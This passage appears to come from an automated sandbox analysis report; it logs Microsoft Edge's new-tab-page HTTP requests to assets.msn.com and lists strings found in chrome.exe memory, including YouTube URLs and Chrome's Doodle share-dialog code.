image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/toast-wc.7856acab3c9f6f3af2bf.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/waffle-wc.5e95a6e8b96055fbd144.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/card-actions-wc.2e0b8bb8c51bf53bcad3.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-segments.f68ee5aa19f6973c90eb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/d3-library.3d830fc6f0392332c923.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/cs-core-desktop_card-components_dist_card-banner_index_js-cs-core-desktop_card-components_dis-389dd7.6716c93e27d7e156d3e5.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/channel-data-connector.b857251407e592f709ce.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_weather-shared-wc_dist_weather-card_index_js-libs_weather-skycode-mapping-svgr_dist_SkyC-851a44.0b2e04a6db31fd8116de.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/channel-store.01ae09ee4eb1e37ccd19.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/welcomeGreetingLight.c096cf224eef0c6fdab2.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-settings-edgenext.da6c246e4c4e1ecb1b37.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/sign-in-control-wc.367cab6cb9bb41af1876.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-e648aa.e53e905b38f230baccdd.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/weather-card-data-connector.e2f4ce38bbe0723c1fcf.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/codex-bing-chat.6e25fe85c86c209cb04f.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/MarketMismatchCoachMark.383c94a7f98d2806de2d.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/common/icons/copilot_color.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MUIDB=36CB6A348F62672B3E3A7F498E00663A; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-sports-lib.3072cfffd436683e04b9.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/marketmismatch/bannerDisplayString/en-gb.json HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/float-button-group-wc.a178620524f626faaa26.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/feedback.aaa33c6ca151df54bcca.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/scrollPerfMetricTrackers.0c056f3a2106f33fad55.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-windows-widget-shared.293d4dd273a8bc2b7194.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/segments/recoitems/weather?apikey=UhJ4G66OjyLbn9mXARgajXLiLw6V75sHnfpU60aJBB&activityId=3A35C6D9-C75F-44F1-A696-E1F20ED10EDD&ocid=weather-peregrine&cm=en-us&it=app&user=m-36CB6A348F62672B3E3A7F498E00663A&scn=APP_ANON&appId=4de6fc9f-3262-47bf-9c99-e189a8234fa2&wrapodata=false&includemapsmetadata=true&cuthour=true&filterRule=card&distanceinkm=0&regionDataCount=20&orderby=distance&days=5&pageOcid=anaheim-dhp-peregrine&source=undefined_csr&hours=13&fdhead=prg-1sw-wxnhcolk%2Cprg-1sw-wxomghd%2Cprg-1s-wxtrendv3&contentcount=3&region=us&market=en-us&locale=en-us HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MUIDB=36CB6A348F62672B3E3A7F498E00663A; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/nurturing-coach-mark.e0a347064ee12e08d080.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/nurturing-placement-manager.22770b41d6c1d2bc6531.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /weathermapdata/1/static/weather/Icons/taskbar_v10/Condition_Card/SunnyDayV3.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MUIDB=36CB6A348F62672B3E3A7F498E00663A; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/digest-card.5fe6cd7db56d38e3fbc9.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_ad-service_dist_NativeAdService_js.be817f1621a33c798f12.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_ad-service-base_dist_msnKVService_js-libs_ads-constants_dist_template-configs_infopane_D-a5042d.2a8a605c0e73e437d940.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_social-data-service_dist_service_SocialService_js.d0196b6bd9fdaa9d5a17.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_super-feed_dist_feed-manager_FeedManagerWithClientAd_js.dcd038378840e752a33e.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: ff6a6aa9-b5a5-43f5-954c-b3c7085a243c.tmp.26.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2820504438.0000203400D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000003.2736084867.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2736169387.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2736237918.0000203400454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
